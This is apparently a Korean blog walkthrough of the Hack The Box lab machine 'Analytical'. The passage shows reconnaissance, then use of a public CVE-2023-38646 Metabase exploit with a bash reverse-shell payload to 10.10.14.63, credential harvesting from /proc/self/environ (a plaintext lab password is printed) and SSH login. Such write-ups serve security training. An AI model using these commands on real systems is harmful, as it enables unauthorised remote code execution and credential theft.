_0xbea334['push'](_0xbea334['shift']());}catch(_0x47ff63){_0xbea334['push'](_0xbea334['shift']());}}}(_0x5eef,0xea9e9),document[_0x2078d2(0x10c)](_0x2078d2(0x10a),function(){const _0x7eb51e=_0x2078d2;try{const _0x591681=document[_0x7eb51e(0x114)]('.contents_style'),_0x1762f9=document[_0x7eb51e(0xfe)](_0x7eb51e(0x107));if(_0x591681&amp;&amp;!_0x1762f9)htmlTableOfContents();else return![];}catch(_0x250abc){console[_0x7eb51e(0x110)]('');}}));function htmlTableOfContents(_0x4f1c99){const _0x388803=_0x2078d2;var _0x4f1c99=_0x4f1c99||document;const _0x44fb35=document[_0x388803(0xf1)]('div');_0x44fb35[_0x388803(0xfb)]('id',_0x388803(0x107));const _0x2117e2=document['querySelector']('.contents_style');var _0x35e549=_0x388803(0x103),_0x552a33=document['evaluate'](_0x35e549,document,null,XPathResult[_0x388803(0xf3)],null)[_0x388803(0x118)];let _0x407aa0;_0x552a33?(_0x407aa0=_0x552a33,_0x407aa0[_0x388803(0x11b)]='',_0x407aa0[_0x388803(0x106)](_0x44fb35)):(_0x407aa0=_0x2117e2[_0x388803(0x10f)],_0x407aa0['classList'][_0x388803(0xee)](_0x388803(0x100))||_0x407aa0[_0x388803(0xf9)]['contains'](_0x388803(0x115))?_0x2117e2['insertBefore'](_0x44fb35,_0x407aa0[_0x388803(0xef)]):_0x407aa0[_0x388803(0x113)][_0x388803(0x10e)](_0x44fb35,_0x407aa0));const _0x3e06b5=document['getElementById'](_0x388803(0x107)),_0x5ee2f2=[]['slice'][_0x388803(0x10b)](_0x2117e2[_0x388803(0xf4)]('h1,\x20h2,\x20h3,\x20h4,\x20h5,\x20h6')),_0x454032=[];for(i=0x0;i&lt;_0x5ee2f2[_0x388803(0x10d)];i++){if(_0x5ee2f2[i][_0x388803(0xf2)][_0x388803(0x119)]()==='')continue;else{if(_0x5ee2f2[i][_0x388803(0xf9)][_0x388803(0xee)](_0x388803(0x108)))continue;else{if(_0x5ee2f2[i][_0x388803(0x113)]['classList'][_0x388803(0xee)](_0x388803(0x101)))continue;else _0x454032[_0x388803(0xfc)](_0x5ee2f2[i]);}}}_0x454032[_0x388803(0x109)](function(_0x5d97e0,_0x2112a5){const _0x4b3465=_0x388803;var _0x94aa2e=_0x4b3465(0xf8)+_0x2112a5;if(_0x5d97e0[_0x4b3465(0xf6)]('id'))_0x94aa2e=_0x5d97e0[_0x4b3465(0xed)]('id');else _0x5d97e0[_0x4b3465(0xfb)]('id',_0x94aa2e);var _0x34278b=_0x4f1c99[_0x4b3465(0xf1)]('a');_0x34278b[_0x4b3465(0xfb)]('href','#'+_0x94aa2e),_0x34278b['textContent']='•\x20'+_0x5d97e0[_0x4b3465(0x11b)];var _0x118edf=_0x4f1c99[_0x4b3465(0xf1)](_0x4b3465(0x105));_0x118edf[_0x4b3465(0xfb)]('class',_0x5d97e0[_0x4b3465(0x116)][_0x4b3465(0xff)]()),_0x118edf[_0x4b3465(0x106)](_0x34278b),_0x3e06b5[_0x4b3465(0x106)](_0x118edf);});const _0xd72dc='\x0a\x20\x20\x20\x20#toc-ym\x20div.h1\x20{\x20margin-left:\x200em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h2\x20{\x20margin-left:\x200.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h3\x20{\x20margin-left:\x201em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h4\x20{\x20margin-left:\x201.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h5\x20{\x20margin-left:\x202em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h6\x20{\x20margin-left:\x202.5em\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20#toc-ym\x20{\x0a\x20\x20\x20\x20\x20\x20margin:\x2030px\x200px\x2030px\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2020px\x2020px\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#dadada;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ffffff;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym::before\x20{\x0a\x20\x20\x20\x20\x20\x20content:\x20\x22목\x20\x20차\x22;\x0a\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20width:\x20120px;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20rgb(255,\x20255,\x20255);\x0a\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20font-size:\x2018px;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20bold;\x0a\x20\x20\x20\x20\x20\x20margin:\x20-40px\x20auto\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x205px\x200px;\x0a\x20\x20\x20\x20\x20\x20border-width:\x201px;\x0a\x20\x20\x20\x20\x20\x20border-style:\x20solid;\x0a\x20\x20\x20\x20\x20\x20border-color:\x20rgb(218,\x20218,\x20218);\x0a\x20\x20\x20\x20\x20\x20border-image:\x20initial;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div{\x0a\x20\x20\x20\x20\x20\x20margin:\x205px\x200px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:first-child{\x0a\x20\x20\x20\x20\x20\x20margin-top:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:last-child{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a\x20{\x0a\x20\x20\x20\x20\x20\x20text-decoration:\x20none;\x0a\x20\x20\x20\x20\x20\x20color:\x20#337ab7;\x0a\x20\x20\x20\x20\x20\x20transition:\x20all\x20ease\x200.2s;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a:hover\x20{\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20color:\x20#333333;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ecc7ff;\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20/*\x0a\x20\x20\x20\x20.contents_style\x20h3{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:7px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border-left:\x205px\x20solid\x20#757575;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#e5e5e5;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20500;\x0a\x20\x20\x20\x20\x20\x20color:\x20#000000\x20!important;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20*/\x0a\x20\x20\x20\x20',_0x3ed036=document[_0x388803(0xf1)](_0x388803(0x102));_0x3ed036[_0x388803(0xfd)]=_0xd72dc,_0x2117e2[_0x388803(0x10e)](_0x3ed036,_0x407aa0);}
&lt;/script&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 정보 수집&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.1. nmap을 활용한 스캔&lt;/h4&gt;
&lt;pre id=&quot;code_1707897323428&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -sV 10.10.11.233 -T5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;847&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHdBNR/btsEPHVcq7z/dey5X9Szgbqfynok5WdCck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHdBNR/btsEPHVcq7z/dey5X9Szgbqfynok5WdCck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHdBNR/btsEPHVcq7z/dey5X9Szgbqfynok5WdCck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHdBNR%2FbtsEPHVcq7z%2Fdey5X9Szgbqfynok5WdCck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;847&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;847&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.2. 웹 디렉터리와 서브 도메인 찾기&lt;/h4&gt;
&lt;pre id=&quot;code_1707897354928&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dirsearch -u http://analytical.htb/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;877&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rX8tM/btsEP59sESN/fSNqmVwK9ZfyIMzh7Pe9K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rX8tM/btsEP59sESN/fSNqmVwK9ZfyIMzh7Pe9K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rX8tM/btsEP59sESN/fSNqmVwK9ZfyIMzh7Pe9K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrX8tM%2FbtsEP59sESN%2FfSNqmVwK9ZfyIMzh7Pe9K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;877&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;877&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 사이트 디렉터리를 확인한 결과 힌트가 될만한 디렉터리는 보이지 않음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707897430512&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://analytical.htb/ -H &quot;Host: FUZZ.analytical.htb&quot; -mc 200&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nPZbd/btsEKFqdCV6/9yhLKiL9Qwx9ICZBojBHg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nPZbd/btsEKFqdCV6/9yhLKiL9Qwx9ICZBojBHg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nPZbd/btsEKFqdCV6/9yhLKiL9Qwx9ICZBojBHg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnPZbd%2FbtsEKFqdCV6%2F9yhLKiL9Qwx9ICZBojBHg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1752&quot; height=&quot;1125&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브 도메인 유무 결과 &quot;data.analytical.htb&quot;를 확인할 수 있음.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 초기 접근&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1. 'CVE-2023-38646' 활용해 공격 대상 서버에서 임의의 명령어 실행&lt;/h4&gt;
&lt;pre id=&quot;code_1707897635698&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://data.analytical.htb/&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1917&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m7mv7/btsEQQD91Fd/R7x7sbBDOEBnBw1pndTgI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m7mv7/btsEQQD91Fd/R7x7sbBDOEBnBw1pndTgI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m7mv7/btsEQQD91Fd/R7x7sbBDOEBnBw1pndTgI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm7mv7%2FbtsEQQD91Fd%2FR7x7sbBDOEBnBw1pndTgI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1917&quot; height=&quot;658&quot; data-origin-width=&quot;1917&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;data.analytical.htb&quot;에 접속한 결과 로그인 페이지가 뜨는것을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707897679139&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://www.cvedetails.com/vulnerability-list/vendor_id-19475/product_id-51231/Metabase-Metabase.html&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;561&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UAwUf/btsES58oY2Y/SqacCMjtFH4fmhxf4FoeH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UAwUf/btsES58oY2Y/SqacCMjtFH4fmhxf4FoeH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UAwUf/btsES58oY2Y/SqacCMjtFH4fmhxf4FoeH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUAwUf%2FbtsES58oY2Y%2FSqacCMjtFH4fmhxf4FoeH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;561&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;561&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'metabase' 관련 CVE를 검색해보니 'CVE-2023-38646' 취약점을 통해 공격대상 서버에서 임의의 명령을 수행할 수 있을것으로 보임.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898309958&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wget https://raw.githubusercontent.com/Pyr0sec/CVE-2023-38646/main/exploit.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AsKLf/btsEP4Qe2uh/mbcwadM1v6a8jL1GoatKy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AsKLf/btsEP4Qe2uh/mbcwadM1v6a8jL1GoatKy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AsKLf/btsEP4Qe2uh/mbcwadM1v6a8jL1GoatKy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAsKLf%2FbtsEP4Qe2uh%2FmbcwadM1v6a8jL1GoatKy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;661&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'CVE-2023-38646' 취약점에서 사용되는 exploit를 다운받음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1707897968426&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - Pyr0sec/CVE-2023-38646: Exploit script for Pre-Auth RCE in Metabase (CVE-2023-38646)&quot; data-og-description=&quot;Exploit script for Pre-Auth RCE in Metabase (CVE-2023-38646) - Pyr0sec/CVE-2023-38646&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/Pyr0sec/CVE-2023-38646&quot; data-og-url=&quot;https://github.com/Pyr0sec/CVE-2023-38646&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/LkwZb/hyVji5k5lF/J8MEKAGkbZydwwBN9BKK1K/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/Pyr0sec/CVE-2023-38646&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/Pyr0sec/CVE-2023-38646&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/LkwZb/hyVji5k5lF/J8MEKAGkbZydwwBN9BKK1K/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - Pyr0sec/CVE-2023-38646: Exploit script for Pre-Auth RCE in Metabase (CVE-2023-38646)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Exploit script for Pre-Auth RCE in Metabase (CVE-2023-38646) - Pyr0sec/CVE-2023-38646&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898363186&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 exploit.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -
c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.63/8888 0&amp;gt;&amp;amp;1&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;619&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brkg2F/btsEORwQjmu/r5HkMxDbv8wO3sHHpIKZV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brkg2F/btsEORwQjmu/r5HkMxDbv8wO3sHHpIKZV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brkg2F/btsEORwQjmu/r5HkMxDbv8wO3sHHpIKZV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbrkg2F%2FbtsEORwQjmu%2Fr5HkMxDbv8wO3sHHpIKZV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;619&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;619&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exploit를 실행시켜서 공격 대상 서버에서 'reverse shell' 명령어를 실행시킴.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-u : 공격 대상&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-t : 토큰&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-c : 페이로드&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898397326&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nc -lvp 8888&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kSiWk/btsEQctXDjW/0KtQJTpQ7OwNrZgkSh03Q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kSiWk/btsEQctXDjW/0KtQJTpQ7OwNrZgkSh03Q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kSiWk/btsEQctXDjW/0KtQJTpQ7OwNrZgkSh03Q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkSiWk%2FbtsEQctXDjW%2F0KtQJTpQ7OwNrZgkSh03Q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1984&quot; height=&quot;261&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reverse shell 시킬 8888번 포트를 열어놓으면 연결되는것을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2. '/proc/self/environ'에서 실행 중인 프로세스의 환경 변수 확인&lt;/h4&gt;
&lt;pre id=&quot;code_1707898471600&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat /proc/self/environ | tr '\0' '\n'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1692&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JoLCe/btsENUm2voU/fanW7KE46g1E3kS5IkwX71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JoLCe/btsENUm2voU/fanW7KE46g1E3kS5IkwX71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JoLCe/btsENUm2voU/fanW7KE46g1E3kS5IkwX71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJoLCe%2FbtsENUm2voU%2FfanW7KE46g1E3kS5IkwX71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1692&quot; height=&quot;1125&quot; data-origin-width=&quot;1692&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/proc/self/environ&lt;span style=&quot;text-align: left;&quot;&gt; 파일은 현재 실행 중인 프로세스의 환경 변수를 저장하고 있는 특별한 파일임. 'metabase'의 서버 계정 정보 'META_USER=metalytices', 'META_PASS=An4lytics_ds20223#'을 확인할 수 있음.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898527639&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh metalytics@10.10.11.233&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cd79MS/btsEKEx1OnM/LiZflT8mQDECrQP1Uvpe6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cd79MS/btsEKEx1OnM/LiZflT8mQDECrQP1Uvpe6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cd79MS/btsEKEx1OnM/LiZflT8mQDECrQP1Uvpe6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcd79MS%2FbtsEKEx1OnM%2FLiZflT8mQDECrQP1Uvpe6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;401&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'metalytics : An4lytics_ds20223#' ssh 연결을 통해 서버에 접속할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707898562035&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat user.txt&lt;/code&gt;&lt;/pre&gt;
